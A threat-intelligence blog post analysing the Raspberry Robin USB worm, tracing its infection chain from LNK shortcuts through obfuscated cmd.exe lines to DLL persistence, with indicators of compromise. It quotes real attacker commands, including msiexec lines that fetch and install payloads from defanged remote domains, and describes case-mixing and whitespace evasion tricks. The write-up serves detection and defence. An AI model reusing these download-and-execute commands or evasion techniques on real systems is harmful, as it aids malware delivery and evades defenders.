Suspicious DLL: Raspberry robin?

tehtris.com/en/blog/suspicious-dll-raspberry-robin/

May 12, 2022

TEHTRIS threat analyst team was following a new threat that raises lots of questions. Seeing the recent analysis published by RedCanary[1], we decided to publish our analysis to continue what they started: raising awareness about this threat and bringing visibility to this malware.

We decided to keep the name Raspberry Robin to facilitate security researcher job.

Most of our sample date from April/May 2022.

We don’t know yet if the threat is targeted toward some compagnies/sectors but in most cases, the industrial and service provider sectors were impacted. Moreover, it is recommended for everyone to monitor that threat.

This threat seems to propagate like a worm. We haven’t seen proof of human activity at any stage during the analysis (for instance, searching for credential, data, lateral movement).

In every case, the entry point was always an infected USB key with a LNK file inside.

Initial Access

LNK files are “shortcuts” for applications, the one present on the Desktop for instance, however, it is also possible to store entire command line (powershell, cmd, …).

The attack starts with a LNK file being executed from a USB drive. The naming convention of the LNK file itself seems to mimic the USB drive name as seen in several cases:

- **E:\Lexar.lnk**
- **D:\KINGSTON.lnk**

We don't know yet if the initial click results in human activity or a vulnerability or autorun like functionalities.

We don't know yet how the LNK got on the USB key in the first place.
We don't know yet if the USB key are purposely built to target some companies (USB keys dropped in a company parking lot) or if it comes from personal employees' USB Key which were already infected.

We haven't had the chance to put our hands on an infected USB key. We do suspect that other files may exist in the USB key, but we do not have the proof by now.

Forensic: It's possible to find traces of the LNK file in UserAssist keys of the user who executed it.

First execution: CMD

For a majority of our samples, a command involving cmd.exe is executed. The command line is filled with spacing symbols (more that 200): ^I (tabulations), $ (new line) and regular space. For the sake of visibility, they have been replaced with […].

Below, there are several examples as seen on several cases. Only one of those command lines is executed in each case, but we deemed important to show the variety of them.

- **"C:\Windows\System32\cmd.exe"[…]/V/R cMd<HiVE.LNk:sb**
- **"C:\Windows\System32\cmd.exe"[…]/V/R !COmsPEc!<qjM.cHK**
- **"C:\Windows\System32\cmd.exe" /r[…]cMd<qJm.cHK**

The aim of the command seems to execute the command included in the file after the "<".

We haven't got our hand on one of those files, but we know:

- /R is the same as /C, probably to evade detection
- /V is for allowing the usage of "!" instead of "%" for environment variable. !comspec! is an environment variable pointing to cmd.exe full path (C:\Windows\system32\cmd.exe for instance).
- In some cases, there is a probable evidence of ADS (Alternate Data Stream) usage as could be seen in the first example after the ":", probably to conceal the malicious content. ADS is a feature of NTFS filesystems only.
- The usage of lower/upper case letter is aimed at hindering detections.

Those command lines spawn two processes: an Explorer and a MSIExec.

Explorer & MSI

Example of the Explorer :

```
                                        exPLoREr KINgSTON
ExplOrEr "VICTOR"
```

For now, we can only guess on the goal of the explorer. Given the meddling of lower/upper cases, it's probably a voluntary action from the attacker. The command line opens the file explorer in the drive, so it's maybe to show the end-user that something happened: even if it's a human name, we guess it's the USB KEY name.

Example of the MSIExec :

```
                                        MsIExEc -Q /I "HttP://jZM[.]pw:8080//?"
MSiEXEC /Q/I "hTtp://b9[.]pm:8080//?"
MsieXec -Q-i "hTtp://0Dz[.]me:8080//? "
```

< REMOVED STRING > looks like S1TOapDC73i, different for each command line.

As seen previously, upper/lower case character are mixing, but the way the options are provided changes too because / and – are both acceptable for parameter. For instance:

```
                                        MsIExEc -Q-i
MsieXec /Q/I
MSiEXEC -Q /I
```

With this command, msiexec can retrieve a payload on the Internet and execute it. It results in the following DLL installation.

DLL

The next stage takes the form of a DLL.
As for now, we have seen that each infection has its own instance of the DLL. Our hypothesis is that a new binary is generated for each infection.

The DLL install itself in one of the following directories:

```
                                        C:\ProgramData\*
C:\Users\\AppData\Local\Temp\*
C:\Program Files (x86)\Common Files\*
C:\Users\\AppData\Local\*
C:\Program Files (x86)\*
```

The final DLL is imbricated in 2 level of directory, for instance:

```
                                        c:\program files (x86)\common files\\\.dll
c:\users\\appdata\local\\\.dll
C:\ProgramData\\\.dll
```

< STRING 1> looks like a probable but random program name, such as KeyInfo, TermDriver, …

< STRING2 > looks more random, but still probable for an internal program directory like UdrateTask, Assonists, …

< STRING3 > looks like random string, with [a-zA-Z0-9] separated with _ like tno8trami_topino.dll, AKAWAhopl_NET87.dll or momr_knte8_54.dll.

We observed that in the first level directory (STRING1), there were files from the hard drive (dll, bin, pptx, exe, …) that were being copied here. As the creation time and access time were identical (even if it's possible that they have been modified), we suppose it's to mimic a normal program repository, with all kinds of binaries, because a directory in ProgramData\Program Files with nothing inside is suspicious.

All the previous steps were conducted as the user responsible for plugging the USB Key and it's the same for this DLL.

As seen previously, the DLL seems to follow a naming pattern, but it's not a reliable means of detection because divergences have been seen.

The DLL is launched with a rundll32 in most observed cases (but regasm has been seen used in a minority of cases)

```
C:\WINDOWS\SysWOW64\RUNDLL32.EXE
C:\ProgramData\\\.dll,

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /silent /u “C:\Program Files
(x86)\Common Files\\\.dll”
```

< STRING4 > is the DLL entry point, it looks like < STRING3 >, a random string, with [a-zA-Z0-9] separated with _.

The DLL is launched by a schedule task:

```
\Microsoft\Windows\RemoteApp and Desktop
Connections Update\
```

There are some legit scheduled tasks that start the same up to “update”, however < STRING5 > is either a random string with [a-zA-Z] or a made up program name with like System.Windows.Orez.

We don’t know yet the method used to add the scheduled task.

Conclusion

We don’t have information about the goal or the target of the attacker behind this attack, however the threat has been detected in a wide number of countries from all around the world. We strongly advise everyone to search for those IoCs (domain names, scheduled tasks, command line matching the one observed, …) and remediate the contaminated computers as soon as possible.

We will update the article should we have any new element.

IOC

DLL Sha256:

1b7bb5278ea1bb8a1da525e035f4df3a4f8ea269967c40575f8bc71b896f8054

Domains:

3h[.]WF
v0[.]cx
F0[.]tEL

B9[.]pm
K5m[.]co
P9[.]TEL
Oj8[.]eU
6y[.]Re
0t[.]yt
kr4[.]xyZ

Domains:

Suspicious schedule task name:
RemoteApp and Desktop Connections Update

[1] https://redcanary.com/blog/raspberry-robin/